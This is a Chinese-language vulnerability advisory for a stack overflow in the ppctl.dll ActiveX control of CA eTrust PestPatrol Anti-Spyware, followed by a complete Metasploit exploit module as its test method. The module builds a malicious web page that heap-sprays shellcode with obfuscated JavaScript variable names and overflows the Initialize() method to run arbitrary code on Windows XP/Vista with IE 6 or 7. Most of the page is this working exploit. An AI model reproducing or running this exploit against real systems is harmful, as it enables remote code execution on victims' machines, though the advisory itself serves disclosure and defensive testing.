漏洞起因
边界条件错误
影响系统
Computer Associates eTrust PestPatrol Anti-spyware
不受影响系统
危害
远程攻击者可以利用漏洞以应用程序权限执行任意代码。
攻击所需条件
攻击者必须构建恶意WEB页，诱使用户解析。
漏洞信息
CA eTrust PestPatrol Anti-Spyware是一款企业电脑预防保护软件， 可以防止特洛伊木马，黑客工具，键盘监视，间谍软件等工具对企业网络进行破坏和攻击。
CA eTrust PestPatrol包含的"ppctl.dll" ActiveX控件不正确使用"Initialize"方式，构建恶意WEB页，诱使用户解析，可允许远程攻击者在系统上执行任意代码。
测试方法
###
## This file is part of the Metasploit Framework and may be subject to
## redistribution and commercial restrictions. Please see the Metasploit
## Framework web site for more information on licensing and terms of use.
## http://metasploit.com/projects/Framework/
###
require ‘msf/core’
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
‘Name’ => ‘CA eTrust PestPatrol ActiveX Control Buffer Overflow’,
‘Description’ => %q{
This module exploits a stack overflow in CA eTrust PestPatrol. When
sending an overly long string to the Initialize() property of ppctl.dll (5.6.7.9)
an attacker may be able to execute arbitrary code.
},
‘License’ => MSF_LICENSE,
‘Author’ => [ ‘MC’ ],
‘Version’ => ‘$Revision:$’,
‘References’ =>
[
[ ‘URL’, ‘http://www.metasploit.com’ ],
[ ‘URL’, ‘http://www.my-etrust.com/Extern/RoadRunner/PestScan/scan.htm’ ],
],
‘DefaultOptions’ =>
{
‘EXITFUNC’ => ‘process’,
},
‘Payload’ =>
{
‘Space’ => 1024,
‘BadChars’ => "\x00",
},
‘Platform’ => ‘win’,
‘Targets’ =>
[
[ ‘Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7’, { ‘Ret’ => 0x0A0A0A0A } ]
],
‘DisclosureDate’ => ‘Jun 5 2007’,
‘DefaultTarget’ => 0))
register_options(
[
OptString.new(‘FILENAME’, [ false, ‘The file name.’, ‘msf.html’]),
], self.class)
end
def exploit
# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Create some nops.
nops = Rex::Text.to_unescape(make_nops(4))
# Set the return.
ret = Rex::Text.uri_encode([target.ret].pack(‘L’))
# Randomize the javascript variable names.
vname = rand_text_alpha(rand(100) + 1)
var_i = rand_text_alpha(rand(30) + 2)
rand1 = rand_text_alpha(rand(100) + 1)
rand2 = rand_text_alpha(rand(100) + 1)
rand3 = rand_text_alpha(rand(100) + 1)
rand4 = rand_text_alpha(rand(100) + 1)
rand5 = rand_text_alpha(rand(100) + 1)
rand6 = rand_text_alpha(rand(100) + 1)
rand7 = rand_text_alpha(rand(100) + 1)
rand8 = rand_text_alpha(rand(100) + 1)
content = %Q|
<html>
<object id=’#{vname}’ classid=’clsid:5E644C49-F8B0-4E9A-A2ED-5F176BB18CE6′></object>
<script language="JavaScript">
var #{rand1} = unescape(‘#{shellcode}’);
var #{rand2} = unescape(‘#{nops}’);
var #{rand3} = 20;
var #{rand4} = #{rand3} + #{rand1}.length;
while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
var #{rand5} = #{rand2}.substring(0,#{rand4});
var #{rand6} = #{rand2}.substring(0,#{rand2}.length – #{rand4});
while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
var #{rand7} = new Array();
for (#{var_i} = 0; #{var_i} < 400; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
var #{rand8} = "";
for (#{var_i} = 0; #{var_i} < 14500; #{var_i}++) { #{rand8} = #{rand8} + unescape(‘#{ret}’) }
#{vname}.Initialize(#{rand8});
</script>
</html>
|
content = Rex::Text.randomize_space(content)
print_status("Creating ‘#{datastore[‘FILENAME’]}’ file …")
file_create(content)
end
end
厂商解决方案
目前没有详细解决方案提供：
http://www.my-etrust.com
漏洞提供者
Fortinet
0 条评论。